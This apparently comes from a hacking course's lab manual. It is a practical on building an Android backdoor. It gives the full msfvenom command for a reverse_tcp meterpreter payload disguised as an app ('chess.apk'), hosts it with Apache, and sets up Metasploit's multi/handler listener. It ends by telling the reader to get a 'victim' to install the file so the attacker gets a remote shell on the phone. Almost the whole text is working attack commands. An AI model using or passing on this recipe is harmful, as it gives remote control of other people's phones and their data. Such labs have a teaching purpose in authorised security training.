15. Hacking Mobile Platforms

Practical 1: Creating a backdoor for Android using msfvenom

1. Open terminal window and enter a command in following syntax:

msfvenom -p android/meterpreter/reverse_tcp LHOST=<Your Kali IP>
LPORT=5555 R -o /var/www/html/<filename.apk>

For example:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.99
LPORT=5555 R -o /var/www/html/chess.apk

2. Then to start the apache web server enter command:
service apache2 start

3. Start Metasploit Framework

4. To select the exploit, enter command:
use exploit/multi/handler

5. Set the Payload
set PAYLOAD android/meterpreter/reverse_tcp

6. Set all required options
show options (To see available options)
set LHOST <Your Kali IP>
set LPORT 5555 (It has to be same like one you used in msfvenom
command)

7. exploit

Once you run the exploit command, you should share the created file with the
victim. The victim needs to install and run the shared application. If he does
so, you should get reverse connection meterpreter session in Kali Linux.